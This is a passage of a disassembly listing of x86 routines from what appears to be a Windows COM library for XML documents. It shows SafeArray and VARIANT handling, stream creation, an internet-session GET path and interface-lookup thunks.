push eax ; plLbound
push edi ; nDim
push [ebp+psa] ; psa
call SafeArrayGetLBound
cmp eax, esi
mov [ebp+var_4], eax
jl loc_69B7DB82
lea eax, [ebp+pvarSrc]
push eax ; plUbound
push edi ; nDim
push [ebp+psa] ; psa
call SafeArrayGetUBound
cmp eax, esi
mov [ebp+var_4], eax
jl loc_69B7DB82
mov eax, [ebp+pvarSrc]
sub eax, [ebp+plLbound]
inc eax
cmp eax, esi
mov [ebx+9Ch], eax
jbe short loc_69B7DA55
push eax
call sub_69B11E44
cmp eax, esi
mov [ebx+98h], eax
jnz short loc_69B7DA3A
mov [ebx+9Ch], esi
mov [ebp+var_4], 8007000Eh
jmp loc_69B7DB82
; ---------------------------------------------------------------------------
loc_69B7DA3A: ; CODE XREF: sub_69B7D8C5+161j
mov ecx, [ebx+9Ch]
mov esi, [ebp+ppvData]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
xor esi, esi
loc_69B7DA55: ; CODE XREF: sub_69B7D8C5+151j
push [ebp+psa] ; psa
call SafeArrayUnaccessData
mov [ebp+psa], esi
jmp loc_69B7DB0F
; ---------------------------------------------------------------------------
loc_69B7DA66: ; CODE XREF: sub_69B7D8C5+C3j
; sub_69B7D8C5+CCj
sub esp, 10h
mov esi, eax
mov edi, esp
movsd
movsd
movsd
movsd
call sub_69B7A8F5
test eax, eax
mov [ebp+var_14], eax
jz short loc_69B7DA93
push eax
lea eax, [ebx+9Ch]
push eax
lea eax, [ebx+98h]
push eax
call sub_69B7A98A
jmp short loc_69B7DB06
; ---------------------------------------------------------------------------
loc_69B7DA93: ; CODE XREF: sub_69B7D8C5+1B6j
mov esi, VariantChangeType
push 9 ; vt
push 1 ; wFlags
push [ebp+pvarSrc] ; pvarSrc
lea eax, [ebp+pvarg]
push eax ; pvargDest
call esi ; VariantChangeType
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B7DABF
cmp dword ptr [ebp+pvarg.anonymous_0+8], 0
jz short loc_69B7DB0D
push dword ptr [ebp+pvarg.anonymous_0+8]
mov ecx, ebx
call sub_69B7D890
jmp short loc_69B7DB06
; ---------------------------------------------------------------------------
loc_69B7DABF: ; CODE XREF: sub_69B7D8C5+1E6j
push 0Dh ; vt
push 1 ; wFlags
push [ebp+pvarSrc] ; pvarSrc
lea eax, [ebp+pvarg]
push eax ; pvargDest
call esi ; VariantChangeType
test eax, eax
jl loc_69B7DB79
mov eax, dword ptr [ebp+pvarg.anonymous_0+8]
mov ecx, [eax]
lea edx, [ebp+var_20]
push edx
push offset dword_69B2AFF0
push eax
call dword ptr [ecx]
test eax, eax
mov [ebp+var_4], eax
jl loc_69B7DB80
push [ebp+var_20]
lea eax, [ebx+9Ch]
push eax
lea eax, [ebx+98h]
push eax
call sub_69B7AE8C
loc_69B7DB06: ; CODE XREF: sub_69B7D8C5+1CCj
; sub_69B7D8C5+1F8j
test eax, eax
mov [ebp+var_4], eax
jl short loc_69B7DB80
loc_69B7DB0D: ; CODE XREF: sub_69B7D8C5+1ECj
xor esi, esi
loc_69B7DB0F: ; CODE XREF: sub_69B7D8C5+19Cj
lea eax, [ebx+98h]
cmp [eax], esi
mov [ebp+plLbound], eax
jz short loc_69B7DB82
cmp [ebx+9Ch], esi
jz short loc_69B7DB82
xor eax, eax
lea edi, [ebp+pvarSrc]
mov [ebp+var_10], esi
stosd
lea edi, [ebx+4Ch]
push edi ; ppstm
push 1 ; fDeleteOnRelease
push esi ; hGlobal
mov [ebp+ppvData], esi
call ds:CreateStreamOnHGlobal
cmp eax, esi
mov [ebp+var_4], eax
jl short loc_69B7DB82
push [ebp+pvarSrc]
mov ecx, [ebx+9Ch]
mov eax, [edi]
mov edx, [eax]
push ecx
push eax
call dword ptr [edx+18h]
cmp eax, esi
mov [ebp+var_4], eax
jl short loc_69B7DB82
mov edi, [edi]
mov eax, [edi]
lea ecx, [ebp+ppvData]
push ecx
push dword ptr [ebx+9Ch]
mov ecx, [ebp+plLbound]
push dword ptr [ecx]
push edi
call dword ptr [eax+10h]
mov [ebp+var_4], eax
jmp short loc_69B7DB82
; ---------------------------------------------------------------------------
loc_69B7DB79: ; CODE XREF: sub_69B7D8C5+209j
mov [ebp+var_4], 80070057h
loc_69B7DB80: ; CODE XREF: sub_69B7D8C5+225j
; sub_69B7D8C5+246j
xor esi, esi
loc_69B7DB82: ; CODE XREF: sub_69B7D8C5+A4j
; sub_69B7D8C5+B0j ...
lea eax, [ebp+pvarg]
push eax ; pvarg
call VariantClear
cmp [ebp+var_14], esi
jz short loc_69B7DB9A
push [ebp+var_14] ; BSTR
call SysFreeString
loc_69B7DB9A: ; CODE XREF: sub_69B7D8C5+2CAj
cmp [ebp+psa], esi
jz short loc_69B7DBA8
push [ebp+psa] ; psa
call SafeArrayUnaccessData
loc_69B7DBA8: ; CODE XREF: sub_69B7D8C5+2D8j
lea ecx, [ebp+var_30]
call sub_69B1976C
push [ebp+var_24]
call dword_69B92944
mov eax, [ebp+var_4]
loc_69B7DBBC: ; CODE XREF: sub_69B7D8C5+1Fj
pop edi
pop esi
pop ebx
leave
retn 10h
sub_69B7D8C5 endp
; =============== S U B R O U T I N E =======================================
sub_69B7DBC3 proc near ; CODE XREF: sub_69B7DF93+3p
push esi
mov esi, ecx
push edi
mov dword ptr [esi], offset off_69B14590
mov dword ptr [esi+0Ch], offset off_69B279BC
mov dword ptr [esi+24h], offset off_69B2A624
mov dword ptr [esi+28h], offset off_69B2A610
mov dword ptr [esi+2Ch], offset off_69B2A5FC
mov dword ptr [esi+30h], offset off_69B2A5EC
mov dword ptr [esi+34h], offset off_69B2A5D8
mov dword ptr [esi+38h], offset off_69B2A5C8
call sub_69B7B4AF
push 0
lea edi, [esi+0B4h]
push edi
call sub_69B17320
call sub_69B2C65C
push edi
call sub_69B17230
lea ecx, [esi+68h]
call sub_69B7BF80
lea eax, [esi+64h]
push eax
call sub_69B17230
pop edi
mov ecx, esi
pop esi
jmp loc_69B3F2EC
sub_69B7DBC3 endp
; =============== S U B R O U T I N E =======================================
sub_69B7DC36 proc near ; DATA XREF: .text:69B143DCo
; .text:69B2A628o
arg_0 = dword ptr 4
sub [esp+arg_0], 24h
jmp sub_69B17349
sub_69B7DC36 endp
; ---------------------------------------------------------------------------
loc_69B7DC40: ; DATA XREF: .text:69B2A614o
sub dword ptr [esp+4], 28h
jmp sub_69B17349
; ---------------------------------------------------------------------------
loc_69B7DC4A: ; DATA XREF: .text:69B2A5F0o
sub dword ptr [esp+4], 30h
jmp sub_69B17349
; ---------------------------------------------------------------------------
loc_69B7DC54: ; DATA XREF: .text:69B2A5DCo
sub dword ptr [esp+4], 34h
jmp sub_69B17349
; ---------------------------------------------------------------------------
loc_69B7DC5E: ; DATA XREF: .text:69B2A5CCo
sub dword ptr [esp+4], 38h
jmp sub_69B17349
; =============== S U B R O U T I N E =======================================
sub_69B7DC68 proc near ; CODE XREF: sub_69B3EF5A+147j
; sub_69B780C6+5Bj
; DATA XREF: ...
push esi
mov esi, ecx
lea ecx, [esi+0Ch]
call sub_69B89EA3
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B7DC68 endp
; =============== S U B R O U T I N E =======================================
sub_69B7DC7B proc near ; DATA XREF: .text:off_69B2A624o
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B7B60C SIZE 00000160 BYTES
; FUNCTION CHUNK AT 69B7B78D SIZE 0000000F BYTES
sub dword ptr [esp+4], 24h
jmp loc_69B7B60C
sub_69B7DC7B endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_69B7DC85: ; DATA XREF: .text:off_69B2A610o
sub dword ptr [esp+4], 28h
jmp loc_69B7B60C
; ---------------------------------------------------------------------------
loc_69B7DC8F: ; DATA XREF: .text:off_69B2A5FCo
sub dword ptr [esp+4], 2Ch
jmp loc_69B7B60C
; ---------------------------------------------------------------------------
loc_69B7DC99: ; DATA XREF: .text:off_69B2A5ECo
sub dword ptr [esp+4], 30h
jmp loc_69B7B60C
; ---------------------------------------------------------------------------
loc_69B7DCA3: ; DATA XREF: .text:off_69B2A5D8o
sub dword ptr [esp+4], 34h
jmp loc_69B7B60C
; ---------------------------------------------------------------------------
loc_69B7DCAD: ; DATA XREF: .text:off_69B2A5C8o
sub dword ptr [esp+4], 38h
jmp loc_69B7B60C
; =============== S U B R O U T I N E =======================================
sub_69B7DCB7 proc near ; CODE XREF: sub_69B7DCC3+5j
; .text:69B7DCCFj ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
call sub_69B7C228
retn 4
sub_69B7DCB7 endp
; =============== S U B R O U T I N E =======================================
sub_69B7DCC3 proc near ; DATA XREF: .text:69B2A62Co
arg_0 = dword ptr 4
sub [esp+arg_0], 24h
jmp short sub_69B7DCB7
sub_69B7DCC3 endp
; ---------------------------------------------------------------------------
loc_69B7DCCA: ; DATA XREF: .text:69B2A618o
sub dword ptr [esp+4], 28h
jmp short sub_69B7DCB7
; ---------------------------------------------------------------------------
loc_69B7DCD1: ; DATA XREF: .text:69B2A604o
sub dword ptr [esp+4], 2Ch
jmp short sub_69B7DCB7
; ---------------------------------------------------------------------------
loc_69B7DCD8: ; DATA XREF: .text:69B2A5F4o
sub dword ptr [esp+4], 30h
jmp short sub_69B7DCB7
; ---------------------------------------------------------------------------
loc_69B7DCDF: ; DATA XREF: .text:69B2A5E0o
sub dword ptr [esp+4], 34h
jmp short sub_69B7DCB7
; ---------------------------------------------------------------------------
loc_69B7DCE6: ; DATA XREF: .text:69B2A5D0o
sub dword ptr [esp+4], 38h
jmp short sub_69B7DCB7
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7DCED proc near ; DATA XREF: .text:69B145D4o
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
ppbc = dword ptr -8
ppIInternetSession= dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
push ebx
mov ebx, [ebp+arg_0]
mov eax, [ebx]
push esi
xor esi, esi
push edi
push ebx
mov [ebp+var_18], esi
mov [ebp+ppIInternetSession], esi
mov [ebp+ppbc], esi
mov [ebp+var_14], 100h
mov [ebp+var_C], esi
mov [ebp+var_10], esi
call dword ptr [eax+4]
cmp dword ptr [ebx+3Ch], 1
jz short loc_69B7DD27
mov edi, 80004005h
jmp loc_69B7DE37
; ---------------------------------------------------------------------------
loc_69B7DD27: ; CODE XREF: sub_69B7DCED+2Ej
push offset aGet ; "GET"
push dword ptr [ebx+80h]
call sub_69B2ED17
test eax, eax
jz short loc_69B7DD5A
sub esp, 10h
mov edi, esp
lea esi, [ebp+arg_4]
movsd
movsd
movsd
mov ecx, ebx
movsd
call sub_69B7D8C5
mov edi, eax
xor esi, esi
test edi, edi
jl loc_69B7DE37
loc_69B7DD5A: ; CODE XREF: sub_69B7DCED+4Cj
mov ecx, ebx
call sub_69B7D841
mov edi, eax
cmp edi, esi
jl loc_69B7DE37
cmp byte ptr [ebx+0B2h], 0
jnz short loc_69B7DD7B
mov [ebp+var_14], 180h
loc_69B7DD7B: ; CODE XREF: sub_69B7DCED+85j
push esi ; dwReserved
lea eax, [ebp+ppIInternetSession]
push eax ; ppIInternetSession
push esi ; dwSessionMode
call CoInternetGetSession
mov edi, eax
cmp edi, esi
jl loc_69B7DE3A
lea eax, [ebp+ppbc]
push eax ; ppbc
push esi ; reserved
call ds:CreateBindCtx
mov edi, eax
cmp edi, esi
jl loc_69B7DE3A
mov eax, [ebp+ppIInternetSession]
mov edx, [eax]
push 100h
lea ecx, [ebx+44h]
push ecx
push esi
push esi
push dword ptr [ebx+94h]
push [ebp+ppbc]
push eax
call dword ptr [edx+1Ch]
mov edi, eax
cmp edi, esi
jl short loc_69B7DE3A
mov eax, [ebx+48h]
cmp eax, esi
jz short loc_69B7DDD7
mov ecx, [eax]
push esi
push esi
push eax
call dword ptr [ecx+0Ch]
loc_69B7DDD7: ; CODE XREF: sub_69B7DCED+E0j
mov eax, [ebx]
lea ecx, [ebp+var_C]
push ecx
push offset dword_69B2AF30
push ebx
call dword ptr [eax]
mov edi, eax
cmp edi, esi
jl short loc_69B7DE3A
mov eax, [ebx]
lea ecx, [ebp+var_10]
push ecx
push offset dword_69B2AF20
push ebx
call dword ptr [eax]
mov edi, eax
cmp edi, esi
jl short loc_69B7DE3A
push 2
mov ecx, ebx
mov [ebx+58h], esi
call sub_69B7AA25
mov eax, [ebx+44h]
cmp eax, esi
jz short loc_69B7DE2A
mov ecx, [eax]
push esi
push [ebp+var_14]
push [ebp+var_C]
push [ebp+var_10]
push dword ptr [ebx+94h]
push eax
call dword ptr [ecx+0Ch]
mov edi, eax
loc_69B7DE2A: ; CODE XREF: sub_69B7DCED+123j
mov eax, [ebx+58h]
cmp eax, esi
jge short loc_69B7DE33
mov edi, eax
loc_69B7DE33: ; CODE XREF: sub_69B7DCED+142j
cmp edi, esi
jge short loc_69B7DE3A
loc_69B7DE37: ; CODE XREF: sub_69B7DCED+35j
; sub_69B7DCED+67j ...
mov [ebp+var_18], edi
loc_69B7DE3A: ; CODE XREF: sub_69B7DCED+9Dj
; sub_69B7DCED+B2j ...
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
mov eax, [ebp+ppIInternetSession]
cmp eax, esi
jz short loc_69B7DE4D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7DE4D: ; CODE XREF: sub_69B7DCED+158j
mov eax, [ebp+ppbc]
cmp eax, esi
mov [ebp+ppIInternetSession], esi
jz short loc_69B7DE5D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7DE5D: ; CODE XREF: sub_69B7DCED+168j
mov eax, [ebp+var_C]
cmp eax, esi
mov [ebp+ppbc], esi
jz short loc_69B7DE6D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7DE6D: ; CODE XREF: sub_69B7DCED+178j
mov eax, [ebp+var_10]
cmp eax, esi
mov [ebp+var_C], esi
jz short loc_69B7DE7D
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7DE7D: ; CODE XREF: sub_69B7DCED+188j
push [ebp+var_18]
mov ecx, ebx
push edi
mov [ebp+var_10], esi
call sub_69B7B3C8
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn 14h
sub_69B7DCED endp
; =============== S U B R O U T I N E =======================================
sub_69B7DE94 proc near ; CODE XREF: sub_69B7DFAE+45p
push ebx
push esi
push edi
mov esi, ecx
call sub_69B1D6B9
mov dword ptr [esi], offset off_69B14590
mov dword ptr [esi+0Ch], offset off_69B279BC
mov dword ptr [esi+24h], offset off_69B2A624
mov dword ptr [esi+28h], offset off_69B2A610
mov dword ptr [esi+2Ch], offset off_69B2A5FC
mov dword ptr [esi+30h], offset off_69B2A5EC
mov dword ptr [esi+34h], offset off_69B2A5D8
mov dword ptr [esi+38h], offset off_69B2A5C8
xor ebx, ebx
push 1
lea ecx, [esi+68h]
mov [esi+64h], ebx
call sub_69B7BF52
lea edi, [esi+0B4h]
mov [edi], ebx
call sub_69B1E031
mov [esi+3Ch], ebx
mov [esi+50h], ebx
mov [esi+40h], bl
mov byte ptr [esi+0B2h], 1
mov [esi+60h], bl
mov [esi+80h], ebx
mov [esi+84h], ebx
mov [esi+88h], ebx
mov [esi+8Ch], ebx
mov [esi+90h], ebx
mov [esi+94h], ebx
mov [esi+0ACh], ebx
mov [esi+98h], ebx
mov [esi+9Ch], ebx
mov [esi+0A0h], ebx
mov [esi+0A4h], ebx
mov [esi+0A8h], ebx
mov [esi+0B0h], bl
mov [esi+0B1h], bl
mov [esi+48h], ebx
mov [esi+44h], ebx
mov [esi+54h], ebx
mov [esi+58h], ebx
mov [esi+5Ch], ebx
mov [esi+0B8h], ebx
mov [esi+0BCh], ebx
mov [esi+0C0h], ebx
call sub_69B1B352
push eax
push edi
call sub_69B17320
mov edi, [edi]
mov eax, [edi]
push edi
call dword ptr [eax+8]
pop edi
mov eax, esi
pop esi
pop ebx
retn
sub_69B7DE94 endp
; =============== S U B R O U T I N E =======================================
sub_69B7DF93 proc near ; DATA XREF: .text:69B1459Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B7DBC3
test [esp+4+arg_0], 1
jz short loc_69B7DFA8
push esi
call sub_69B1829F
loc_69B7DFA8: ; CODE XREF: sub_69B7DF93+Dj
mov eax, esi
pop esi
retn 4
sub_69B7DF93 endp
; =============== S U B R O U T I N E =======================================
sub_69B7DFAE proc near ; DATA XREF: .text:69B1C798o
; .text:69B1C7A8o ...
push 2Ch
push offset dword_69B7E078
call sub_69B19C5C
call dword_69B92948
mov [ebp-1Ch], eax
test eax, eax
jnz short loc_69B7DFD1
mov eax, 80004005h
jmp loc_69B7E06F
; ---------------------------------------------------------------------------
loc_69B7DFD1: ; CODE XREF: sub_69B7DFAE+17j
push 0
push eax
lea ecx, [ebp-28h]
call sub_69B1A8C7
and dword ptr [ebp-4], 0
push 0C4h
call sub_69B17EF3
mov ecx, eax
mov [ebp-2Ch], ecx
test ecx, ecx
jz short loc_69B7DFFA
call sub_69B7DE94
jmp short loc_69B7DFFC
; ---------------------------------------------------------------------------
loc_69B7DFFA: ; CODE XREF: sub_69B7DFAE+43j
xor eax, eax
loc_69B7DFFC: ; CODE XREF: sub_69B7DFAE+4Aj
mov [ebp-30h], eax
push 1Ch
call sub_69B1D897
mov ecx, eax
mov [ebp-34h], ecx
test ecx, ecx
jz short loc_69B7E019
push dword ptr [ebp-30h]
call sub_69B7D5F6
jmp short loc_69B7E01B
; ---------------------------------------------------------------------------
loc_69B7E019: ; CODE XREF: sub_69B7DFAE+5Fj
xor eax, eax
loc_69B7E01B: ; CODE XREF: sub_69B7DFAE+69j
mov esi, eax
mov [ebp-38h], esi
mov eax, [esi]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
push esi
call dword ptr [eax]
mov [ebp-3Ch], eax
mov eax, [esi]
push esi
call dword ptr [eax+8]
jmp short loc_69B7E057
; ---------------------------------------------------------------------------
loc_69B7E036: ; DATA XREF: .text:69B7E07Co
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B7E03F: ; DATA XREF: .text:69B7E080o
mov esp, [ebp-18h]
call sub_69B2E808
push eax
call sub_69B2D39C
mov ecx, eax
call sub_69B2E804
mov [ebp-3Ch], eax
loc_69B7E057: ; CODE XREF: sub_69B7DFAE+86j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-28h]
call sub_69B1976C
push dword ptr [ebp-1Ch]
call dword_69B92944
mov eax, [ebp-3Ch]
loc_69B7E06F: ; CODE XREF: sub_69B7DFAE+1Ej
call sub_69B1853C
retn 8
sub_69B7DFAE endp
; ---------------------------------------------------------------------------
align 4
dword_69B7E078 dd 0FFFFFFFFh dd offset loc_69B7E036
dd offset loc_69B7E03F
; =============== S U B R O U T I N E =======================================
sub_69B7E084 proc near ; CODE XREF: sub_69B7FB0F+126p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
mov edi, ecx
mov [edi+24h], esi
mov eax, [esi]
push esi
call dword ptr [eax+4]
mov eax, [esp+8+arg_4]
mov [edi+28h], eax
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
push dword ptr [edi+28h]
mov eax, [esi]
push 0
push esi
call dword ptr [eax+0Ch]
pop edi
pop esi
retn 8
sub_69B7E084 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E0B2 proc near ; CODE XREF: sub_69B7E2EC+81p
; sub_69B7FB0F+1B7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and [ebp+var_4], 0
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B0C0
push eax
call dword ptr [ecx]
test eax, eax
jl short locret_69B7E0E8
mov eax, [ebp+var_4]
push [ebp+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx+0Ch]
mov eax, [ebp+var_4]
test eax, eax
jz short locret_69B7E0E8
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_69B7E0E8: ; CODE XREF: sub_69B7E0B2+1Bj
; sub_69B7E0B2+2Ej
leave
retn 8
sub_69B7E0B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E0EC proc near ; CODE XREF: sub_69B7FB0F+1ECp
; sub_69B8251E+34p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov ecx, [eax]
and [ebp+var_4], 0
lea edx, [ebp+var_4]
push edx
push offset dword_69B2B110
push eax
call dword ptr [ecx]
test eax, eax
jl short locret_69B7E128
mov eax, [ebp+var_4]
mov ecx, [eax]
push 2
push 2
push offset stru_69B1CA6C
push eax
call dword ptr [ecx+10h]
mov eax, [ebp+var_4]
test eax, eax
jz short locret_69B7E128
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
locret_69B7E128: ; CODE XREF: sub_69B7E0EC+1Bj
; sub_69B7E0EC+34j
leave
retn 4
sub_69B7E0EC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E12C proc near ; CODE XREF: sub_69B800FB+98p
; sub_69B800FB+AEp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
mov ecx, [eax]
and [ebp+var_4], 0
push esi
lea edx, [ebp+var_4]
push edx
push [ebp+arg_0]
push eax
call dword ptr [ecx+28h]
test eax, eax
mov ecx, [ebp+var_4]
jnz short loc_69B7E164
test ecx, ecx
jz short loc_69B7E164
mov eax, [ebp+arg_8]
mov edx, [eax]
push ecx
push [ebp+arg_0]
push eax
call dword ptr [edx+24h]
mov ecx, [ebp+var_4]
mov esi, eax
jmp short loc_69B7E166
; ---------------------------------------------------------------------------
loc_69B7E164: ; CODE XREF: sub_69B7E12C+1Ej
; sub_69B7E12C+22j
xor esi, esi
loc_69B7E166: ; CODE XREF: sub_69B7E12C+36j
test ecx, ecx
jz short loc_69B7E170
mov eax, [ecx]
push ecx
call dword ptr [eax+8]
loc_69B7E170: ; CODE XREF: sub_69B7E12C+3Cj
mov eax, esi
pop esi
leave
retn 0Ch
sub_69B7E12C endp
; =============== S U B R O U T I N E =======================================
sub_69B7E177 proc near ; CODE XREF: sub_69B7E6F9+Ap
; sub_69B7FA54+10p
push esi
mov esi, ecx
mov eax, [esi+10h]
test eax, eax
jz short loc_69B7E18B
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
and dword ptr [esi+10h], 0
loc_69B7E18B: ; CODE XREF: sub_69B7E177+8j
pop esi
retn
sub_69B7E177 endp
; =============== S U B R O U T I N E =======================================
sub_69B7E18D proc near ; CODE XREF: .text:69B7F3A7j
; .text:69B7F3C5j ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov eax, [esp+4+arg_0]
mov eax, [eax+38h]
push [esp+4+arg_4]
mov ecx, [eax]
push eax
call dword ptr [ecx]
retn 0Ch
sub_69B7E18D endp
; =============== S U B R O U T I N E =======================================
sub_69B7E1A4 proc near ; CODE XREF: .text:69B7F3B1j
; .text:69B7F3CFj ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax+38h]
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
retn 4
sub_69B7E1A4 endp
; =============== S U B R O U T I N E =======================================
sub_69B7E1B4 proc near ; CODE XREF: .text:69B7F3BBj
; .text:69B7F3D9j ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov eax, [eax+38h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
retn 4
sub_69B7E1B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E1C4 proc near ; DATA XREF: .text:off_69B2A698o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, [ebp+arg_4]
push ebx
push esi
push edi
push 4
pop edx
mov ecx, edx
mov edi, offset stru_69B1CA6C
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7E1EA
mov eax, [ebp+arg_0]
lea ecx, [eax-18h]
jmp loc_69B7E284
; ---------------------------------------------------------------------------
loc_69B7E1EA: ; CODE XREF: sub_69B7E1C4+19j
mov ecx, edx
mov edi, offset dword_69B2AFA0
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7E204
mov eax, [ebp+arg_0]
lea ecx, [eax-18h]
jmp loc_69B7E28A
; ---------------------------------------------------------------------------
loc_69B7E204: ; CODE XREF: sub_69B7E1C4+33j
mov ecx, edx
mov edi, offset dword_69B2B180
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7E21E
mov eax, [ebp+arg_0]
lea ecx, [eax-18h]
add eax, 0FFFFFFF0h
jmp short loc_69B7E284
; ---------------------------------------------------------------------------
loc_69B7E21E: ; CODE XREF: sub_69B7E1C4+4Dj
mov ecx, edx
mov edi, offset dword_69B2A640
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7E238
mov eax, [ebp+arg_0]
lea ecx, [eax-18h]
add eax, 0FFFFFFF8h
jmp short loc_69B7E284
; ---------------------------------------------------------------------------
loc_69B7E238: ; CODE XREF: sub_69B7E1C4+67j
mov ecx, edx
mov edi, offset dword_69B7E2CC
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7E252
mov eax, [ebp+arg_0]
lea ecx, [eax-18h]
add eax, 0FFFFFFFCh
jmp short loc_69B7E284
; ---------------------------------------------------------------------------
loc_69B7E252: ; CODE XREF: sub_69B7E1C4+81j
mov ecx, edx
mov edi, offset nullsub_2
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7E26C
mov eax, [ebp+arg_0]
lea ecx, [eax-18h]
add eax, 0FFFFFFECh
jmp short loc_69B7E284
; ---------------------------------------------------------------------------
loc_69B7E26C: ; CODE XREF: sub_69B7E1C4+9Bj
mov ecx, edx
mov edi, offset dword_69B2B160
mov esi, eax
xor ebx, ebx
repe cmpsd
jnz short loc_69B7E29B
mov eax, [ebp+arg_0]
lea ecx, [eax-18h]
add eax, 0FFFFFFF4h
loc_69B7E284: ; CODE XREF: sub_69B7E1C4+21j
; sub_69B7E1C4+58j ...
neg ecx
sbb ecx, ecx
and ecx, eax
loc_69B7E28A: ; CODE XREF: sub_69B7E1C4+3Bj
mov eax, [ebp+arg_8]
mov [eax], ecx
mov eax, ecx
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
xor eax, eax
jmp short loc_69B7E2C5
; ---------------------------------------------------------------------------
loc_69B7E29B: ; CODE XREF: sub_69B7E1C4+B5j
mov ecx, edx
mov edi, offset dword_69B7E2DC
mov esi, eax
xor edx, edx
repe cmpsd
jnz short loc_69B7E2B6
mov eax, [ebp+arg_8]
and [eax], edx
mov eax, 80004002h
jmp short loc_69B7E2C5
; ---------------------------------------------------------------------------
loc_69B7E2B6: ; CODE XREF: sub_69B7E1C4+E4j
push [ebp+arg_8]
mov ecx, [ebp+arg_0]
mov ecx, [ecx+8]
mov edx, [ecx]
push eax
push ecx
call dword ptr [edx]
loc_69B7E2C5: ; CODE XREF: sub_69B7E1C4+D5j
; sub_69B7E1C4+F0j
pop edi
pop esi
pop ebx
pop ebp
retn 0Ch
sub_69B7E1C4 endp
; ---------------------------------------------------------------------------
dword_69B7E2CC dd 620CF7D1h, 11D23922h, 800035AEh, 0A17E33C7hdword_69B7E2DC dd 10Bh, 0 dd 0C0h, 46000000h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B7E2EC proc near ; DATA XREF: .text:69B2A6A0o
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
xor ebx, ebx
cmp dword ptr [esi+4], 1
push edi
jnz loc_69B7E3A1
call dword_69B92948
cmp eax, ebx
mov [ebp+var_4], eax
jz loc_69B7E3BB
lea edi, [esi-18h]
mov eax, [edi]
push edi
call dword ptr [eax+4]
mov eax, [esi+8]
cmp eax, ebx
mov [ebp+arg_0], ebx
jz short loc_69B7E364
mov ecx, [eax]
lea edx, [ebp+arg_0]
push edx
push (offset loc_69B2B07C+4)
push eax
call dword ptr [ecx]
test eax, eax
jl short loc_69B7E364
push ebx
push [ebp+arg_0]
push offset aXmldocument ; "XMLDocument"
call sub_69B81952
push ebx
push [ebp+arg_0]
push offset aXsldocument ; "XSLDocument"
call sub_69B81952
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_69B7E361
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E361: ; CODE XREF: sub_69B7E2EC+6Dj
mov [ebp+arg_0], ebx
loc_69B7E364: ; CODE XREF: sub_69B7E2EC+38j
; sub_69B7E2EC+4Aj
mov eax, [esi+0Ch]
cmp eax, ebx
jz short loc_69B7E372
push ebx
push eax
call sub_69B7E0B2
loc_69B7E372: ; CODE XREF: sub_69B7E2EC+7Dj
mov eax, [esi+10h]
cmp eax, ebx
jz short loc_69B7E37F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
loc_69B7E37F: ; CODE XREF: sub_69B7E2EC+8Bj
mov eax, [esi+8]
cmp eax, ebx
mov [esi+10h], ebx
jz short loc_69B7E38F
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
